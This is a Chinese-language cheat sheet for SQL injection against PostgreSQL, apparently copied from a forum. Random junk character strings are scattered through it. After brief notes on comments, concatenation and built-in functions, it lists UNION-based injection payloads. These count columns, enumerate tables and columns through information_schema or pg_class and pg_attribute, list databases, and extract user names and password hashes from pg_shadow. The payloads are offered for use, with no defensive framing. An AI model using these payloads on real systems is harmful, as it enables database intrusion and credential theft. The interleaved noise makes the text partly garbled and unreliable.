结合了MSSQL MySQL Oracle的一些特点
& f4 q6 R# h: f% \3 u; t' \9 x支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/1 u# J% g. m4 W+ y8 o* V
连接符: %20 , + , /**/ 内置函数:6 S5 B4 `+ G- D2 c
current_database() //当前数据库名
: N4 X1 v* c% dsession_user //会话用户
: y0 u$ K/ B$ h% M4 T" p( Y/ `' Scurrent_user //当前数据库用户
7 t4 G" E0 i% E# G6 F7 Ouser //当前用户
9 ]. W5 r% R3 T: y& K. Hversion() //数据库版本 Union注射:0 E% X, `8 q: B/ Q
order by n–* }3 W3 h" A& x8 R/ I g: W4 o$ y1 S
and 1=2 union select null,null,null–( O! B/ M# g0 M" H; g
and 1=2 union select ‘beach’,null,null–' z( D* x% @ |0 S# n/ f# x/ `3 j
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
. n* i* w, d7 Q: v6 F% v1 x6 C, Ugroup_concat(table_name)% a0 f2 a* e1 T" h
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
5 C1 L5 u* ~4 t& \and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
+ C/ x- a* e% Y; y9 l(老版本)
: E# c( d( F" _3 Zpg_class.oid对应pg_attribute.attrelid
" |5 W& i9 G3 V! O; Opg_class.relname表名
" U+ q: G4 B- j6 ~; C# S/ `pg_attribute.attname字段名 select relname from pg_class获取表名
& _7 g/ k) w/ d4 [# U3 X/ Aselect oid from pg_class where 条件 获取参数5 C# F4 ~3 Z5 [2 e# i* @. w! S& {
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:# s% N1 q' _" j
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表5 b: @" h" S! c. p# f; A9 y
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
$ ^' Y+ t- N/ G由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
: F- i) w. ?8 Y======================================================================
' r2 w1 I% _" ?6 ?1 n+ i, wand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
7 K" \" [( ~' _4 wand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |